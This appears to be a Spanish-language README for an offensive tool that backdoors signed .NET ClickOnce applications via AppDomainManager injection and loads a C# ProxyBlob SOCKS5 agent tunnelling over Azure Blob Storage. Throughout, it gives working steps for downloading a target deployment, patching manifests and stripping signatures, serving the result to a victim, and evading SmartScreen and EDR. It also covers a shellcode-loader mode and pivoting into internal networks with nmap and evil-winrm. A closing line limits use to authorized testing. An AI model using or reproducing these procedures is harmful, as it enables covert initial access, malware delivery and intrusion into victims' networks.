
Armar aplicaciones .NET ClickOnce firmadas para acceso inicial mediante el secuestro de una DLL dependiente a través de inyección de AppDomainManager y carga de un puerto en C# del agente ProxyBlob.

Armar aplicaciones .NET ClickOnce firmadas para acceso inicial mediante el secuestro de una DLL dependiente a través de inyección AppDomainManager y la carga de un puerto C# del Agente ProxyBlob. Incluye un puerto C# de ProxyBlob — un proxy SOCKS5 que tuneliza todo el tráfico a través de Azure Blob Storage, integrándose en entornos donde *.blob.core.windows.net está en la lista blanca.
ClickOnce es la tecnología de implementación con un clic de Microsoft para aplicaciones .NET. Cuando un usuario hace clic en una URL .application, Windows descarga y ejecuta la aplicación sin requerir privilegios de administrador. El ataque:
.exe.config que le indique al CLR que cargue nuestra DLL como AppDomainManagerEl .exe anfitrión permanece intacto y firmado válidamente. SmartScreen ve un binario conocido. EDR ve un proceso confiable cargando módulos. Tu agente se comunica solo con Azure Blob Storage a través de HTTPS.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
Atacante (Linux/macOS):
Máquina de compilación (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (detección automática)nuget.exe junto al script o agregar al PATH (solo necesario para el modo --proxyblob)El script detecta automáticamente csc.exe y nuget.exe. Para --proxyblob, BouncyCastle e ILMerge se instalan automáticamente mediante NuGet en la primera ejecución en un directorio packages/ junto al script (persiste entre ejecuciones).
El código del agente es independiente de la arquitectura (sin P/Invoke, sin shellcode). El indicador --platform (pasado a csc.exe /platform:) controla cómo el CLR lo carga:
Verifica la aplicación objetivo con corflags.exe TargetApp.exe para determinar su plataforma.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
O usa Azurite localmente:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
En el shell del proxy:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Guarda esa cadena de conexión — va en el agente.
Siempre verifica que el agente funcione de forma independiente antes de la integración con ClickOnce.
En la máquina de compilación Windows:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
De vuelta en el proxy:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Prueba:
proxychains curl http://ipconfig.io
Si esto funciona, procede con la integración ClickOnce.
Encuentra una aplicación ClickOnce objetivo durante el reconocimiento (busca URLs .application). Necesitas:
Descarga toda la implementación ClickOnce:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

El script compila automáticamente el código fuente C#, maneja las dependencias de NuGet (para --proxyblob), combina BouncyCastle en la DLL con ILMerge, y parchea todos los manifiestos — todo en una sola ejecución:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

El script maneja: generar el código fuente C# con tu configuración integrada, compilar mediante csc.exe, combinar BouncyCastle con ILMerge (para --proxyblob), reemplazar la DLL, crear .exe.config con la inyección AppDomainManager, agregar ambos archivos a los manifiestos, recalcular todos los hashes SHA256 y tamaños de archivo, eliminar firmas de código, poner a cero el publicKeyToken del proveedor y actualizar la URL del proveedor de implementación.
Anulación manual: Todavía puedes usar --payload para proporcionar una DLL precompilada (omite la compilación):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ Dato importante sobre el nombre del ensamblado en ILMerge: ILMerge establece el nombre interno del ensamblado a partir del nombre del archivo de salida, no de la entrada. Si fusionas a
Foo_merged.dlly luego renombras el archivo aFoo.dll, el nombre interno sigue siendoFoo_merged— el CLR lee los metadatos, no el nombre del archivo. El.exe.configno coincidirá y la inyección AppDomainManager falla silenciosamente sin error. El script maneja esto correctamente fusionando directamente al nombre final.
# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

O usa cualquier servidor web con estos tipos MIME configurados:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
Envía a la víctima: http://YOUR-SERVER/APPLICATION.application
Hacen clic en Instalar → la aplicación se ejecuta → tu túnel SOCKS5 se abre.

# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



Limpiar entre implementaciones de prueba:
rundll32 dfshim CleanOnlineAppCache
Para depuración, usa primero ProxyBlobStandalone.cs — escribe registros detallados a stderr mostrando tipos de paquetes, eventos de conexión y errores. Una vez confirmado que funciona, cambia a ProxyBlobAgent.cs para la integración ClickOnce.
El agente es un puerto fiel del agente Go ProxyBlob. Se encontraron y corrigieron tres errores críticos durante el puerto:
1. Orden de bytes UUID — Go almacena uuid.UUID con 16 bytes en orden RFC 4122 (big-endian). El constructor Guid de .NET intercambia los primeros 3 componentes a little-endian, causando discrepancias en ConnectionID en la transmisión. Corregido usando arreglos byte[16] sin procesar.
2. XChaCha20-Poly1305 — Go usa chacha20poly1305.NewX() = XChaCha20 con nonces de 24 bytes. ChaCha20Poly1305 de BouncyCastle solo admite nonces IETF de 12 bytes. Corregido implementando la derivación de subclave HChaCha20:
subkey = HChaCha20(key, nonce[0:16]) // ChaCha20 quarter-rounds on key+nonce
ietf_nonce = 0x00000000 || nonce[16:24] // Remaining 8 bytes become IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. Relleno Base64 — Go usa base64.RawStdEncoding (sin relleno =). .NET requiere relleno. Corregido agregando relleno automático antes de decodificar.
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
*.blob.core.windows.net a través de HTTPS — se mezcla con el tráfico legítimo de Azure.exe anfitrión permanece firmado válidamente — solo se modifican la DLL dependiente y el .configAPPLICATION)Esta herramienta es solo para pruebas de seguridad e investigación autorizadas. Úsala solo contra sistemas para los que tengas permiso explícito por escrito para probar.
--platform | Se ejecuta en Windows x86 | Se ejecuta en Windows x64 | Cuándo usarlo |
|---|
x86 (predeterminado) | 32 bits | 32 bits (WoW64) | La aplicación objetivo es x86 |
x64 | ✗ | 64 bits | La aplicación objetivo es x64 |
anycpu | 32 bits | 64 bits | Pruebas independientes, o el objetivo es AnyCPU |
| Error | Solución |
|---|
csc.exe not found | Instala .NET Framework 4.x o agrega csc.exe al PATH |
nuget.exe not found | Descarga desde nuget.org, colócalo junto al script o agrega al PATH |
CS0012: type 'Object' ... netstandard | Agrega /r:netstandard.dll al comando csc |
Metadata file ... net461 ... not found | Usa la ruta de BouncyCastle netstandard2.0 |
| Síntoma | Causa | Solución |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL no incrustada | Usa ILMerge para crear una sola DLL |
| AppDomainManager no se carga después de ejecutar ClickOnce | El nombre interno del ensamblado no coincide | El nombre del ensamblado debe coincidir con .exe.config. Verifica con ildasm /text Dll.dll | findstr ".assembly" |
| El agente sale con código 3 | Cadena de conexión inválida o expirada | Regenera con create en el proxy |
| La instalación de ClickOnce falla silenciosamente | El hash del manifiesto no coincide | Vuelve a ejecutar el script de automatización o recalcula los hashes SHA256 manualmente |
Error RefDefValidation durante la instalación | Token de nombre seguro de DLL de terceros puesto a cero | El script solo pone a cero el token del proveedor. Usa --dll-name para establecer el nombre de la DLL de payload si es necesario |